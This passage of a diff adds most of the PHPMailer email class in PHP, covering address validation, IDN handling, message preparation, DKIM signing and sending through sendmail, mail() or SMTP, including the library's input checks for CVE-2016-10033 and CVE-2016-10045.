+     * Error severity: message only, continue processing.
+     */
+    const STOP_MESSAGE = 0;
+
+    /**
+     * Error severity: message, likely ok to continue processing.
+     */
+    const STOP_CONTINUE = 1;
+
+    /**
+     * Error severity: message, plus full stop, critical error reached.
+     */
+    const STOP_CRITICAL = 2;
+
+    /**
+     * SMTP RFC standard line ending.
+     */
+    const CRLF = "\r\n";
+
+    /**
+     * The maximum line length allowed by RFC 2822 section 2.1.1
+     * @var integer
+     */
+    const MAX_LINE_LENGTH = 998;
+
+    /**
+     * Constructor.
+     * @param boolean $exceptions Should we throw external exceptions?
+     */
+    public function __construct($exceptions = null)
+    {
+        if ($exceptions !== null) {
+            $this->exceptions = (boolean)$exceptions;
+        }
+    }
+
+    /**
+     * Destructor.
+     */
+    public function __destruct()
+    {
+        //Close any open SMTP connection nicely
+        $this->smtpClose();
+    }
+
+    /**
+     * Call mail() in a safe_mode-aware fashion.
+     * Also, unless sendmail_path points to sendmail (or something that
+     * claims to be sendmail), don't pass params (not a perfect fix,
+     * but it will do)
+     * @param string $to To
+     * @param string $subject Subject
+     * @param string $body Message Body
+     * @param string $header Additional Header(s)
+     * @param string $params Params
+     * @access private
+     * @return boolean
+     */
+    private function mailPassthru($to, $subject, $body, $header, $params)
+    {
+        //Check overloading of mail function to avoid double-encoding
+        if (ini_get('mbstring.func_overload') & 1) {
+            $subject = $this->secureHeader($subject);
+        } else {
+            $subject = $this->encodeHeader($this->secureHeader($subject));
+        }
+
+        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
+        //@link http://php.net/manual/en/function.mail.php
+        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
+            $result = @mail($to, $subject, $body, $header);
+        } else {
+            $result = @mail($to, $subject, $body, $header, $params);
+        }
+        return $result;
+    }
+    /**
+     * Output debugging info via user-defined method.
+     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
+     * @see PHPMailer::$Debugoutput
+     * @see PHPMailer::$SMTPDebug
+     * @param string $str
+     */
+    protected function edebug($str)
+    {
+        if ($this->SMTPDebug <= 0) {
+            return;
+        }
+        //Avoid clash with built-in function names
+        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
+            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
+            return;
+        }
+        switch ($this->Debugoutput) {
+            case 'error_log':
+                //Don't output, just log
+                error_log($str);
+                break;
+            case 'html':
+                //Cleans up output a bit for a better looking, HTML-safe output
+                echo htmlentities(
+                    preg_replace('/[\r\n]+/', '', $str),
+                    ENT_QUOTES,
+                    'UTF-8'
+                )
+                . "<br>\n";
+                break;
+            case 'echo':
+            default:
+                //Normalize line breaks
+                $str = preg_replace('/\r\n?/ms', "\n", $str);
+                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
+                    "\n",
+                    "\n                   \t                  ",
+                    trim($str)
+                ) . "\n";
+        }
+    }
+
+    /**
+     * Sets message type to HTML or plain.
+     * @param boolean $isHtml True for HTML mode.
+     * @return void
+     */
+    public function isHTML($isHtml = true)
+    {
+        if ($isHtml) {
+            $this->ContentType = 'text/html';
+        } else {
+            $this->ContentType = 'text/plain';
+        }
+    }
+
+    /**
+     * Send messages using SMTP.
+     * @return void
+     */
+    public function isSMTP()
+    {
+        $this->Mailer = 'smtp';
+    }
+
+    /**
+     * Send messages using PHP's mail() function.
+     * @return void
+     */
+    public function isMail()
+    {
+        $this->Mailer = 'mail';
+    }
+
+    /**
+     * Send messages using $Sendmail.
+     * @return void
+     */
+    public function isSendmail()
+    {
+        $ini_sendmail_path = ini_get('sendmail_path');
+
+        if (!stristr($ini_sendmail_path, 'sendmail')) {
+            $this->Sendmail = '/usr/sbin/sendmail';
+        } else {
+            $this->Sendmail = $ini_sendmail_path;
+        }
+        $this->Mailer = 'sendmail';
+    }
+
+    /**
+     * Send messages using qmail.
+     * @return void
+     */
+    public function isQmail()
+    {
+        $ini_sendmail_path = ini_get('sendmail_path');
+
+        if (!stristr($ini_sendmail_path, 'qmail')) {
+            $this->Sendmail = '/var/qmail/bin/qmail-inject';
+        } else {
+            $this->Sendmail = $ini_sendmail_path;
+        }
+        $this->Mailer = 'qmail';
+    }
+
+    /**
+     * Add a "To" address.
+     * @param string $address The email address to send to
+     * @param string $name
+     * @return boolean true on success, false if address already used or invalid in some way
+     */
+    public function addAddress($address, $name = '')
+    {
+        return $this->addOrEnqueueAnAddress('to', $address, $name);
+    }
+
+    /**
+     * Add a "CC" address.
+     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
+     * @param string $address The email address to send to
+     * @param string $name
+     * @return boolean true on success, false if address already used or invalid in some way
+     */
+    public function addCC($address, $name = '')
+    {
+        return $this->addOrEnqueueAnAddress('cc', $address, $name);
+    }
+
+    /**
+     * Add a "BCC" address.
+     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
+     * @param string $address The email address to send to
+     * @param string $name
+     * @return boolean true on success, false if address already used or invalid in some way
+     */
+    public function addBCC($address, $name = '')
+    {
+        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
+    }
+
+    /**
+     * Add a "Reply-To" address.
+     * @param string $address The email address to reply to
+     * @param string $name
+     * @return boolean true on success, false if address already used or invalid in some way
+     */
+    public function addReplyTo($address, $name = '')
+    {
+        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
+    }
+
+    /**
+     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
+     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
+     * be modified after calling this function), addition of such addresses is delayed until send().
+     * Addresses that have been added already return false, but do not throw exceptions.
+     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
+     * @param string $address The email address to send, resp. to reply to
+     * @param string $name
+     * @throws phpmailerException
+     * @return boolean true on success, false if address already used or invalid in some way
+     * @access protected
+     */
+    protected function addOrEnqueueAnAddress($kind, $address, $name)
+    {
+        $address = trim($address);
+        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
+        if (($pos = strrpos($address, '@')) === false) {
+            // At-sign is misssing.
+            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
+            $this->setError($error_message);
+            $this->edebug($error_message);
+            if ($this->exceptions) {
+                throw new phpmailerException($error_message);
+            }
+            return false;
+        }
+        $params = array($kind, $address, $name);
+        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
+        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
+            if ($kind != 'Reply-To') {
+                if (!array_key_exists($address, $this->RecipientsQueue)) {
+                    $this->RecipientsQueue[$address] = $params;
+                    return true;
+                }
+            } else {
+                if (!array_key_exists($address, $this->ReplyToQueue)) {
+                    $this->ReplyToQueue[$address] = $params;
+                    return true;
+                }
+            }
+            return false;
+        }
+        // Immediately add standard addresses without IDN.
+        return call_user_func_array(array($this, 'addAnAddress'), $params);
+    }
+
+    /**
+     * Add an address to one of the recipient arrays or to the ReplyTo array.
+     * Addresses that have been added already return false, but do not throw exceptions.
+     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
+     * @param string $address The email address to send, resp. to reply to
+     * @param string $name
+     * @throws phpmailerException
+     * @return boolean true on success, false if address already used or invalid in some way
+     * @access protected
+     */
+    protected function addAnAddress($kind, $address, $name = '')
+    {
+        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
+            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
+            $this->setError($error_message);
+            $this->edebug($error_message);
+            if ($this->exceptions) {
+                throw new phpmailerException($error_message);
+            }
+            return false;
+        }
+        if (!$this->validateAddress($address)) {
+            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
+            $this->setError($error_message);
+            $this->edebug($error_message);
+            if ($this->exceptions) {
+                throw new phpmailerException($error_message);
+            }
+            return false;
+        }
+        if ($kind != 'Reply-To') {
+            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
+                array_push($this->$kind, array($address, $name));
+                $this->all_recipients[strtolower($address)] = true;
+                return true;
+            }
+        } else {
+            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
+                $this->ReplyTo[strtolower($address)] = array($address, $name);
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
+     * of the form "display name <address>" into an array of name/address pairs.
+     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
+     * Note that quotes in the name part are removed.
+     * @param string $addrstr The address list string
+     * @param bool $useimap Whether to use the IMAP extension to parse the list
+     * @return array
+     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
+     */
+    public function parseAddresses($addrstr, $useimap = true)
+    {
+        $addresses = array();
+        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
+            //Use this built-in parser if it's available
+            $list = imap_rfc822_parse_adrlist($addrstr, '');
+            foreach ($list as $address) {
+                if ($address->host != '.SYNTAX-ERROR.') {
+                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
+                        $addresses[] = array(
+                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
+                            'address' => $address->mailbox . '@' . $address->host
+                        );
+                    }
+                }
+            }
+        } else {
+            //Use this simpler parser
+            $list = explode(',', $addrstr);
+            foreach ($list as $address) {
+                $address = trim($address);
+                //Is there a separate name part?
+                if (strpos($address, '<') === false) {
+                    //No separate name, just use the whole thing
+                    if ($this->validateAddress($address)) {
+                        $addresses[] = array(
+                            'name' => '',
+                            'address' => $address
+                        );
+                    }
+                } else {
+                    list($name, $email) = explode('<', $address);
+                    $email = trim(str_replace('>', '', $email));
+                    if ($this->validateAddress($email)) {
+                        $addresses[] = array(
+                            'name' => trim(str_replace(array('"', "'"), '', $name)),
+                            'address' => $email
+                        );
+                    }
+                }
+            }
+        }
+        return $addresses;
+    }
+
+    /**
+     * Set the From and FromName properties.
+     * @param string $address
+     * @param string $name
+     * @param boolean $auto Whether to also set the Sender address, defaults to true
+     * @throws phpmailerException
+     * @return boolean
+     */
+    public function setFrom($address, $name = '', $auto = true)
+    {
+        $address = trim($address);
+        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
+        // Don't validate now addresses with IDN. Will be done in send().
+        if (($pos = strrpos($address, '@')) === false or
+            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
+            !$this->validateAddress($address)) {
+            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
+            $this->setError($error_message);
+            $this->edebug($error_message);
+            if ($this->exceptions) {
+                throw new phpmailerException($error_message);
+            }
+            return false;
+        }
+        $this->From = $address;
+        $this->FromName = $name;
+        if ($auto) {
+            if (empty($this->Sender)) {
+                $this->Sender = $address;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Return the Message-ID header of the last email.
+     * Technically this is the value from the last time the headers were created,
+     * but it's also the message ID of the last sent message except in
+     * pathological cases.
+     * @return string
+     */
+    public function getLastMessageID()
+    {
+        return $this->lastMessageID;
+    }
+
+    /**
+     * Check that a string looks like an email address.
+     * @param string $address The email address to check
+     * @param string|callable $patternselect A selector for the validation pattern to use :
+     * * `auto` Pick best pattern automatically;
+     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
+     * * `pcre` Use old PCRE implementation;
+     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
+     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
+     * * `noregex` Don't use a regex: super fast, really dumb.
+     * Alternatively you may pass in a callable to inject your own validator, for example:
+     * PHPMailer::validateAddress('user@example.com', function($address) {
+     *     return (strpos($address, '@') !== false);
+     * });
+     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
+     * @return boolean
+     * @static
+     * @access public
+     */
+    public static function validateAddress($address, $patternselect = null)
+    {
+        if (is_null($patternselect)) {
+            $patternselect = self::$validator;
+        }
+        if (is_callable($patternselect)) {
+            return call_user_func($patternselect, $address);
+        }
+        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
+        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
+            return false;
+        }
+        if (!$patternselect or $patternselect == 'auto') {
+            //Check this constant first so it works when extension_loaded() is disabled by safe mode
+            //Constant was added in PHP 5.2.4
+            if (defined('PCRE_VERSION')) {
+                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
+                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
+                    $patternselect = 'pcre8';
+                } else {
+                    $patternselect = 'pcre';
+                }
+            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
+                //Fall back to older PCRE
+                $patternselect = 'pcre';
+            } else {
+                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
+                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
+                    $patternselect = 'php';
+                } else {
+                    $patternselect = 'noregex';
+                }
+            }
+        }
+        switch ($patternselect) {
+            case 'pcre8':
+                /**
+                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
+                 * @link http://squiloople.com/2009/12/20/email-address-validation/
+                 * @copyright 2009-2010 Michael Rushton
+                 * Feel free to use and redistribute this code. But please keep this copyright notice.
+                 */
+                return (boolean)preg_match(
+                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
+                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
+                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
+                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
+                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
+                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
+                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
+                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
+                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
+                    $address
+                );
+            case 'pcre':
+                //An older regex that doesn't need a recent PCRE
+                return (boolean)preg_match(
+                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
+                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
+                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
+                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
+                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
+                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
+                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
+                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
+                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
+                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
+                    $address
+                );
+            case 'html5':
+                /**
+                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
+                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
+                 */
+                return (boolean)preg_match(
+                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
+                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
+                    $address
+                );
+            case 'noregex':
+                //No PCRE! Do something _very_ approximate!
+                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
+                return (strlen($address) >= 3
+                    and strpos($address, '@') >= 1
+                    and strpos($address, '@') != strlen($address) - 1);
+            case 'php':
+            default:
+                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
+        }
+    }
+
+    /**
+     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
+     * "intl" and "mbstring" PHP extensions.
+     * @return bool "true" if required functions for IDN support are present
+     */
+    public function idnSupported()
+    {
+        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
+        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
+    }
+
+    /**
+     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
+     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
+     * This function silently returns unmodified address if:
+     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
+     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
+     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
+     * @see PHPMailer::$CharSet
+     * @param string $address The email address to convert
+     * @return string The encoded address in ASCII form
+     */
+    public function punyencodeAddress($address)
+    {
+        // Verify we have required functions, CharSet, and at-sign.
+        if ($this->idnSupported() and
+            !empty($this->CharSet) and
+            ($pos = strrpos($address, '@')) !== false) {
+            $domain = substr($address, ++$pos);
+            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
+            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
+                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
+                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
+                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
+                    idn_to_ascii($domain)) !== false) {
+                    return substr($address, 0, $pos) . $punycode;
+                }
+            }
+        }
+        return $address;
+    }
+
+    /**
+     * Create a message and send it.
+     * Uses the sending method specified by $Mailer.
+     * @throws phpmailerException
+     * @return boolean false on error - See the ErrorInfo property for details of the error.
+     */
+    public function send()
+    {
+        try {
+            if (!$this->preSend()) {
+                return false;
+            }
+            return $this->postSend();
+        } catch (phpmailerException $exc) {
+            $this->mailHeader = '';
+            $this->setError($exc->getMessage());
+            if ($this->exceptions) {
+                throw $exc;
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Prepare a message for sending.
+     * @throws phpmailerException
+     * @return boolean
+     */
+    public function preSend()
+    {
+        try {
+            $this->error_count = 0; // Reset errors
+            $this->mailHeader = '';
+
+            // Dequeue recipient and Reply-To addresses with IDN
+            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
+                $params[1] = $this->punyencodeAddress($params[1]);
+                call_user_func_array(array($this, 'addAnAddress'), $params);
+            }
+            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
+                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
+            }
+
+            // Validate From, Sender, and ConfirmReadingTo addresses
+            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
+                $this->$address_kind = trim($this->$address_kind);
+                if (empty($this->$address_kind)) {
+                    continue;
+                }
+                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
+                if (!$this->validateAddress($this->$address_kind)) {
+                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
+                    $this->setError($error_message);
+                    $this->edebug($error_message);
+                    if ($this->exceptions) {
+                        throw new phpmailerException($error_message);
+                    }
+                    return false;
+                }
+            }
+
+            // Set whether the message is multipart/alternative
+            if ($this->alternativeExists()) {
+                $this->ContentType = 'multipart/alternative';
+            }
+
+            $this->setMessageType();
+            // Refuse to send an empty message unless we are specifically allowing it
+            if (!$this->AllowEmpty and empty($this->Body)) {
+                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
+            }
+
+            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
+            $this->MIMEHeader = '';
+            $this->MIMEBody = $this->createBody();
+            // createBody may have added some headers, so retain them
+            $tempheaders = $this->MIMEHeader;
+            $this->MIMEHeader = $this->createHeader();
+            $this->MIMEHeader .= $tempheaders;
+
+            // To capture the complete message when using mail(), create
+            // an extra header list which createHeader() doesn't fold in
+            if ($this->Mailer == 'mail') {
+                if (count($this->to) > 0) {
+                    $this->mailHeader .= $this->addrAppend('To', $this->to);
+                } else {
+                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
+                }
+                $this->mailHeader .= $this->headerLine(
+                    'Subject',
+                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
+                );
+            }
+
+            // Sign with DKIM if enabled
+            if (!empty($this->DKIM_domain)
+                and !empty($this->DKIM_selector)
+                and (!empty($this->DKIM_private_string)
+                    or (!empty($this->DKIM_private)
+                        and self::isPermittedPath($this->DKIM_private)
+                        and file_exists($this->DKIM_private)
+                    )
+                )
+            ) {
+                $header_dkim = $this->DKIM_Add(
+                    $this->MIMEHeader . $this->mailHeader,
+                    $this->encodeHeader($this->secureHeader($this->Subject)),
+                    $this->MIMEBody
+                );
+                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
+                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
+            }
+            return true;
+        } catch (phpmailerException $exc) {
+            $this->setError($exc->getMessage());
+            if ($this->exceptions) {
+                throw $exc;
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Actually send a message.
+     * Send the email via the selected mechanism
+     * @throws phpmailerException
+     * @return boolean
+     */
+    public function postSend()
+    {
+        try {
+            // Choose the mailer and send through it
+            switch ($this->Mailer) {
+                case 'sendmail':
+                case 'qmail':
+                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
+                case 'smtp':
+                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
+                case 'mail':
+                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
+                default:
+                    $sendMethod = $this->Mailer.'Send';
+                    if (method_exists($this, $sendMethod)) {
+                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
+                    }
+
+                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
+            }
+        } catch (phpmailerException $exc) {
+            $this->setError($exc->getMessage());
+            $this->edebug($exc->getMessage());
+            if ($this->exceptions) {
+                throw $exc;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Send mail using the $Sendmail program.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @see PHPMailer::$Sendmail
+     * @throws phpmailerException
+     * @access protected
+     * @return boolean
+     */
+    protected function sendmailSend($header, $body)
+    {
+        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
+        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
+            if ($this->Mailer == 'qmail') {
+                $sendmailFmt = '%s -f%s';
+            } else {
+                $sendmailFmt = '%s -oi -f%s -t';
+            }
+        } else {
+            if ($this->Mailer == 'qmail') {
+                $sendmailFmt = '%s';
+            } else {
+                $sendmailFmt = '%s -oi -t';
+            }
+        }
+
+        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
+        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);
+
+        if ($this->SingleTo) {
+            foreach ($this->SingleToArray as $toAddr) {
+                if (!@$mail = popen($sendmail, 'w')) {
+                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+                }
+                fputs($mail, 'To: ' . $toAddr . "\n");
+                fputs($mail, $header);
+                fputs($mail, $body);
+                $result = pclose($mail);
+                $this->doCallback(
+                    ($result == 0),
+                    array($toAddr),
+                    $this->cc,
+                    $this->bcc,
+                    $this->Subject,
+                    $body,
+                    $this->From
+                );
+                if ($result != 0) {
+                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+                }
+            }
+        } else {
+            if (!@$mail = popen($sendmail, 'w')) {
+                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+            }
+            fputs($mail, $header);
+            fputs($mail, $body);
+            $result = pclose($mail);
+            $this->doCallback(
+                ($result == 0),
+                $this->to,
+                $this->cc,
+                $this->bcc,
+                $this->Subject,
+                $body,
+                $this->From
+            );
+            if ($result != 0) {
+                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
+     *
+     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
+     * @param string $string The string to be validated
+     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
+     * @access protected
+     * @return boolean
+     */
+    protected static function isShellSafe($string)
+    {
+        // Future-proof
+        if (escapeshellcmd($string) !== $string
+            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
+        ) {
+            return false;
+        }
+
+        $length = strlen($string);
+
+        for ($i = 0; $i < $length; $i++) {
+            $c = $string[$i];
+
+            // All other characters have a special meaning in at least one common shell, including = and +.
+            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
+            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
+            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * Check whether a file path is of a permitted type.
+     * Used to reject URLs and phar files from functions that access local file paths,
+     * such as addAttachment.
+     * @param string $path A relative or absolute path to a file.
+     * @return bool
+     */
+    protected static function isPermittedPath($path)
+    {
+        //Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1
+        return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path);
+    }
+
+    /**
+     * Check whether a file path is safe, accessible, and readable.
+     *
+     * @param string $path A relative or absolute path to a file
+     *
+     * @return bool
+     */
+    protected static function fileIsAccessible($path)
+    {
+        if (!self::isPermittedPath($path)) {
+                return false;
+        }
+        $readable = file_exists($path);
+        //If not a UNC path (expected to start with \\), check read permission, see #2069
+        if (strpos($path, '\\\\') !== 0) {
+            $readable = $readable && is_readable($path);
+        }
+        return $readable;
+    }
+
+    /**
+     * Send mail using the PHP mail() function.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @link http://www.php.net/manual/en/book.mail.php
+     * @throws phpmailerException
+     * @access protected
+     * @return boolean
+     */
+    protected function mailSend($header, $body)
+    {
+        $toArr = array();
+        foreach ($this->to as $toaddr) {
+            $toArr[] = $this->addrFormat($toaddr);
+        }
+        $to = implode(', ', $toArr);
+
+        $params = null;
+        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
+        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
+            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
+            if (self::isShellSafe($this->Sender)) {
+                $params = sprintf('-f%s', $this->Sender);
+            }
+        }
+        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
+            $old_from = ini_get('sendmail_from');
+            ini_set('sendmail_from', $this->Sender);
+        }
+        $result = false;
+        if ($this->SingleTo and count($toArr) > 1) {
+            foreach ($toArr as $toAddr) {
+                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
+                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+            }
+        } else {
+            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
+            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
+        }
+        if (isset($old_from)) {
+            ini_set('sendmail_from', $old_from);
+        }
+        if (!$result) {
+            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
+        }
+        return true;
+    }
+
+    /**
+     * Get an instance to use for SMTP operations.
+     * Override this function to load your own SMTP implementation
+     * @return SMTP
+     */
+    public function getSMTPInstance()
+    {
+        if (!is_object($this->smtp)) {
+			require_once( 'class-smtp.php' );
+            $this->smtp = new SMTP;
+        }
+        return $this->smtp;
+    }
+
+    /**
+     * Send mail via SMTP.
+     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
+     * Uses the PHPMailerSMTP class by default.
+     * @see PHPMailer::getSMTPInstance() to use a different class.
+     * @param string $header The message headers
+     * @param string $body The message body
+     * @throws phpmailerException
+     * @uses SMTP
+     * @access protected
+     * @return boolean
+     */
+    protected function smtpSend($header, $body)
+    {
+        $bad_rcpt = array();
+        if (!$this->smtpConnect($this->SMTPOptions)) {
